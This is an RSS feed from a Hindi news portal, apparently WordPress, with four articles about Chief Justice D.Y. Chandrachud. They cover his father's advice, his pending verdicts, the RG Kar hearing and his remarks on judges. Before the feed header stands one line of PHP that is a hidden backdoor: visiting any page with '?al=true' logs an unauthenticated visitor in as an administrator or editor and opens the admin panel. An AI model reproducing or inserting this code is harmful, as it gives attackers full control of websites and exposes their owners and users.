// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); CJI Chandrachud – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 10 Nov 2024 15:05:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ‘पिता ने रिटायरमेंट तक पुणे का फ्लैट बेचने से किया था मना’, सीजेआई चंद्रचूड़ ने सुनाया भावुक किस्सा https://pratyushaashakinayikiran.com/?p=96492 Sun, 10 Nov 2024 15:05:00 +0000 https://pratyushaashakinayikiran.com/?p=96492 नई दिल्ली/पुणे.

मुख्य न्यायाधीश (सीजेआई) डीवाई चंद्रचूड़ ने सुप्रीम कोर्ट बार एसोसिएशन द्वारा आयोजित किए गए विदाई समारोह में शिरकत की। इस दौरान सीजेआई ने अपने पिता से जुड़ा एक किस्सा सुनाया और बताया कि किस तरह से उनके पिता और देश के पूर्व मुख्य न्यायाधीश वाईवी चंद्रचूड़ ने उन्हें पुणे का एक फ्लैट रिटायरमेंट तक बेचने से मना किया था और इसकी वजह क्या थी।

मुख्य न्यायाधीश ने विदाई समारोह के दौरान अपने संबोधन में उनके और उनके पिता के बीच हुई बातचीत का जिक्र करते हुए कहा कि 'उन्होंने (पिता वाईवी चंद्रचूड़) पुणे में एक छोटा सा फ्लैट खरीदा था। मैंने उनसे पूछा कि आपने पुणे में फ्लैट क्यों लिया? जबकि आप इसमें रहेंगे भी नहीं। इस पर उन्होंने मुझे कहा कि मुझे पता है कि मैं उसमें नहीं रह पाऊंगा और मुझे ये भी नहीं पता कि मैं कब तक तुम लोगों के साथ रहूंगा, लेकिन इस फ्लैट को तब तक अपने पास रखना, जब तक तुम बतौर जज सेवानिवृत्त न हो जाओ।' सीजेआई ने कहा कि इस पर मैंने अपने पिता से इसकी वजह पूछी तो उन्होंने कहा कि 'अगर तुम्हें कभी लगे कि तुम्हारी नैतिक और बौद्धिक ईमानदारी से समझौता हो रहा है। तो मैं चाहता हूं कि तुम्हें ये पता रहे कि तुम्हारे सिर पर एक छत है। कभी भी बतौर वकील या न्यायाधीश इसलिए समझौता मत करना कि तुम्हे लगे कि तुम्हारे पास रहने के लिए अपनी कोई जगह नहीं है।'

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देश के मुख्य न्यायाधीश (CJI) डी.वाई. चंद्रचूड़ 10 नवंबर को रिटायर हो रहे है, रिटायर होने से पहले ये 5 बड़े फैसले सुनाएंगे https://pratyushaashakinayikiran.com/?p=93423 Mon, 04 Nov 2024 09:05:00 +0000 https://pratyushaashakinayikiran.com/?p=93423 नई दिल्ली
देश के मुख्य न्यायाधीश (CJI) डी.वाई. चंद्रचूड़ 10 नवंबर को रिटायर हो रहे हैं। उनके पास सुप्रीम कोर्ट में महज 5 कार्य दिवस बचा है। इन कार्य दिवसों में उन्हें कई महत्वपूर्ण मुद्दों पर फैसला देना है, जिनमें अलीगढ़ मुस्लिम विश्वविद्यालय (एएमयू) को अल्पसंख्यक संस्थान का दर्जा देने से जुड़ा विवाद, मदरसा कानून की वैधता, संपत्ति के पुनर्वितरण सहित कई महत्वपूर्ण मुद्दे शामिल हैं। रिटायर होने से पहले मुख्य न्यायाधीश जिन मुद्दों पर फैसला सुनाएंगे, उनका न सिर्फ राजनीति बल्कि आम लोगों की जिंदगी पर भी प्रभाव पड़ेगा। चीफ जस्टिस चंद्रचूड़ 10 नवंबर को रिटायर हो रहे हैं।

अलीगढ़ मुस्लिम विश्वविद्यालय मामला
मुख्य न्यायाधीश की अगुवाई वाली 7 जजों की संविधान पीठ ने अलीगढ़ मुस्लिम विश्वविद्यालय के अल्पसंख्यक संस्थान का दर्जा देने से संबंधित मुद्दों पर 1 फरवरी, 2024 को अपना फैसला सुरक्षित रख लिया था। संविधान पीठ इस कानूनी सवाल पर अपना फैसला सुनाएगी कि एएमयू को संविधान के अनुच्छेद 30 के तहत अल्पसंख्यक का दर्जा प्राप्त है या नहीं।

भर्ती प्रक्रिया के बाद नियमों में बदलाव का मामला
सुप्रीम कोर्ट के 5 जजों की संविधान पीठ इस कानूनी सवाल पर अपना फैसला सुनाएगी कि क्या भर्ती प्रक्रिया शुरू होने के बाद नियमों और शर्तों में बदलाव हो सकता है? इस मामले में संविधान पीठ ने 23 जुलाई को अपना फैसला सुरक्षित रख लिया था। यह कानूनी सवाल राजस्थान हाईकोर्ट में अनुवादकों की नियुक्ति से उठा था।

एलएमवी लाइसेंस धारक मामला
सुप्रीम कोर्ट के 5 जजों के संविधान पीठ इस कानूनी सवाल पर अपना फैसला सुनाएगी कि क्या लाइट मोटर व्हीकल (एलएमवी) लाइसेंस धारक चालक 7,500 किलोग्राम तक के वजन वाले परिवहन वाहन चलाने का अधिकार है या नहीं है। इस मुद्दे पर सीजेआई की अगुवाई वाली पीठ ने 21 अगस्त को अपना फैसला सुरक्षित रखा था। यह मामला बेहद महत्वपूर्ण है।

मदरसा कानून की वैधता का मामला
मुख्य न्यायाधीश डीवाई चंद्रचूड़ की अगुवाई वाली 3 जजों की पीठ ने अभी हाल ही में उत्तर प्रदेश मदरसा अधिनियम की वैधता से जुड़े मसले पर अपना फैसला सुरक्षित रख लिया था। पीठ ने इलाहाबाद हाईकोर्ट के एक फैसले को चुनौती देने वाली याचिकाओं पर फैसला सुरक्षित रखा है, जिसके तहत यूपी मदरसा अधिनियम को असंवैधानिक घोषित करते हुए रद्द कर दिया गया था। बच्चों को सरकारी स्कूलों में समायोजित करने का आदेश दिया था।

संपत्ति के वितरण का मामला
मुख्य न्यायाधीश की अगुवाई वाली 9 जजों की संविधान पीठ इस संवैधानिक सवाल पर फैसला सुनाएगी कि क्या सरकार को निजी संपत्ति अधिग्रहित कर उनका पुनर्वितरण करने का अधिकार है या नहीं। संविधान पीठ अनुच्छेद 39(बी) के प्रावधानों को लेकर फैसला सुरक्षित रख लिया था। इस अनुच्छेद में जनहित के लिए संपत्ति के पुनर्वितरण से संबंधित है।

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देश के मुख्य न्यायाधीश चंद्रचूड़ की अध्यक्षता वाली तीन जजों की खंडपीठ ने बलात्कार एवं उसकी हत्या के मामले की सुनवाई https://pratyushaashakinayikiran.com/?p=63023 Thu, 22 Aug 2024 19:58:00 +0000 https://pratyushaashakinayikiran.com/?p=63023 नई दिल्ली
देश के मुख्य न्यायाधीश (CJI) जस्टिस डीवाई चंद्रचूड़ की अध्यक्षता वाली तीन जजों की खंडपीठ ने आज (गुरुवार को) भी कोलकाता के आरजी कर मेडिकल कॉलेज एवं अस्पताल में ट्रेनी लेडी डॉक्टर से बलात्कार एवं उसकी हत्या के मामले की सुनवाई की। इस दौरान पीठ ने मामले में अप्राकृतिक मौत का मामला दर्ज करने में कोलकाता पुलिस की देरी को बेहद परेशानी वाली बात बताया। सुनवाई के दौरान चीफ जस्टिस ने इस घटना के खिलाफ विरोध-प्रदर्शन कर रहे डॉक्टरों को काम पर लौटने को कहा और आश्वासन दिया कि ड्यूटी ज्वाइन करने के बाद उनके खिलाफ कोई कार्रवाई नहीं की जाएगी।

CJI डीवाई चंद्रचूड़, जस्टिस जेबी पारदीवाला और जस्टिस मनोज मिश्रा की पीठ ने पुलिस द्वारा की गई कानूनी औपचारिकताओं के क्रम और समय पर सवाल उठाते हुए कहा कि यह बहुत ही आश्चर्यजनक है कि मृत पीड़िता का पोस्टमार्टम, अप्राकृतिक मौत का मामला दर्ज करने से पहले ही 9 अगस्त की शाम 6 बजकर 10 मिनट से 7 बजकर 10 मिनट के बीच कर दिया गया। पीठ ने पूछा, ‘‘ऐसा कैसे हुआ कि पोस्टमार्टम 9 अगस्त को शाम 6 बजकर 10 मिनट पर किया गया लेकिन अप्राकृतिक मौत की सूचना पुलिस थाने को 9 अगस्त को रात साढ़े 11 बजे भेजी गई। यह बेहद परेशान करने वाली बात है।’’

सुप्रीम कोर्ट ने देश को हिला देने वाले इस जघन्य कांड के बारे में पहली प्रविष्टि दर्ज करने वाले कोलकाता पुलिस के अधिकारी को अगली सुनवाई पर पेश होने का आदेश दिया और यह बताने को कहा के थाने में एंट्री कितने बजे दर्ज की गई। सीबीआई की ओर से पेश सॉलिसिटर जनरल तुषार मेहता ने अदालत को बताया कि सबसे अधिक चौंकाने वाला तथ्य यह है कि मृत पीड़िता के अंतिम संस्कार के बाद रात पौने 12 बजे प्राथमिकी दर्ज की गई।

मेहता ने पीठ से कहा, ‘‘राज्य पुलिस ने (पीड़िता के) माता-पिता से कहा कि यह आत्महत्या का मामला है, फिर उन्होंने कहा कि यह हत्या है। पीड़िता के मित्र को संदेह था कि इस मामले में कुछ छिपाया गया है और उसने वीडियोग्राफी पर जोर दिया।’’ इस बीच पश्चिम बंगाल सरकार की तरफ से मामले की पैरवी कर रहे वरिष्ठ वकील कपिल सिब्बल ने कहा, हां मीलॉर्ड, संदेह सही है। इस दौरान कोर्टरूम में सॉलिसिटर जनरल और कपिल सिब्बल पोस्टमार्टम रिपोर्ट और सीबीआई की रिपोर्ट पर चर्चा करने लगे, तभी एक वकील ने मामले में दखल देते हुए दावा किया कि पोस्टमार्टम में 150 ग्राम वीर्य का भी उल्लेख किया गया है।

इस पर CJI उस वकील पर भड़क गए और उन्हें झिड़कते हुए कहा, "सोशल मीडिया पर प्राप्त जानकारी का उपयोग यहां बहस में मत कीजिए क्योंकि हमें पता है सच क्या है और मृतक का पोस्टमार्टम रिपोर्ट भी मेरे पास है। सीजेआई ने दो टूक कहा कि हमारे पास ऑरिजिनल पोस्टमार्टम रिपोर्ट है और उसमें 150 ग्राम का उल्लेख किस चीज के लिए किया गया है, मुझे बखूबी पता है..कृपया सोशल मीडिया का ज्ञान यहां मत दीजिए।"

बता दें कि कोलकाता के आरजी कर मेडिकल कॉलेज और अस्पताल में नौ अगस्त को महिला चिकित्सक का शव मिला था। पुलिस ने इस मामले में एक आरोपी को गिफ्तार किया है। आरोप है कि डॉक्टर का रेप कर उसकी वीभत्स तरीके से हत्या कर दी गई। कलकत्ता उच्च न्यायालय ने मामले की जांच कोलकाता पुलिस से सीबीआई को सौंपने का 13 अगस्त को आदेश दिया था। सीबीआई ने 14 अगस्त से अपनी जांच शुरू की है। सीबीआई ने कोर्ट में बताया कि मामले में गैंगरेप के सबूत नहीं मिले हैं।

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डी.वाई. चंद्रचूड़ ने कहा- जजों की तुलना भगवान से करने की परंपरा खतरनाक है, उचित नहीं https://pratyushaashakinayikiran.com/?p=46461 Sat, 29 Jun 2024 21:06:00 +0000 https://pratyushaashakinayikiran.com/?p=46461 कोलकाता
भारत के मुख्य न्यायाधीश (सीजेआई) डी.वाई. चंद्रचूड़ ने शनिवार को कहा कि जजों की तुलना भगवान से करने की परंपरा खतरनाक है क्योंकि जजों की जिम्मेदारी आम लोगों के हित में काम करने की है। सीजेआई चंद्रचूड़ ने यहां नेशनल ज्यूडिशियल एकेडमी के क्षेत्रीय सम्मेलन को संबोधित करते हुए कहा, "अक्सर हमें ऑनर या लॉर्डशिप या लेडीशिप कहकर संबोधित किया जाता है। जब लोग अदालत को न्याय का मंदिर बताते हैं तो इसमें एक बड़ा खतरा है। बड़ा खतरा है कि हम खुद को उन मंदिरों में बैठे भगवान मान बैठें।"

सीजेआई ने कहा कि जब उनसे कहा जाता है कि अदालत न्याय का मंदिर होता है तो वह कुछ बोल नहीं पाते हैं क्योंकि मंदिर का मतलब है कि जज भगवान की जगह हैं।
उन्होंने कहा, "बल्कि मैं कहना चाहूंगा कि जजों का काम लोगों की सेवा करना है। और जब आप खुद को ऐसे व्यक्ति के रूप में देखेंगे जिनका काम लोगों की सेवा करना है तो आपके अंदर दूसरे के प्रति संवेदना और पूर्वाग्रह मुक्त न्याय करने का भाव पैदा होगा।"
उन्होंने कहा कि किसी क्रिमिनल केस में भी सजा सुनाते समय जज संवेदना के साथ ऐसा करते हैं क्योंकि अंततः किसी इंसान को सजा सुनाई जा रही है।

सीजेआई चंद्रचूड़ ने कहा, "इसलिए मेरा मानना है कि संवैधानिक नैतिकता की ये अवधारणाएं महत्वपूर्ण हैं – न सिर्फ सुप्रीम कोर्ट या हाई कोर्ट के जजों के लिए बल्कि जिला स्तर के जजों के लिए भी क्योंकि न्यायपालिका के साथ आम लोगों का पहला संपर्क जिले की न्याय व्यवस्था के साथ ही शुरू होता है।"

उन्होंने न्यायपालिका के कामकाज में टेक्नोलॉजी के महत्व पर भी जोर दिया।सीजेआई चंद्रचूड़ के अनुसार, आम लोगों द्वारा फैसले तक पहुंच और इसे समझने में भाषा सबसे बड़ी बाधा है। उन्होंने कहा, "टेक्नोलॉजी कुछ चीजों का समाधान प्रदान कर सकता है। ज्यादातर फैसले अंग्रेजी में लिखे जाते हैं। टेक्नोलॉजी ने हमें उनका अनुवाद करने में सक्षम बनाया है। हम 51,000 फैसलों का दूसरी भाषाओं में अनुवाद कर रहे हैं।"

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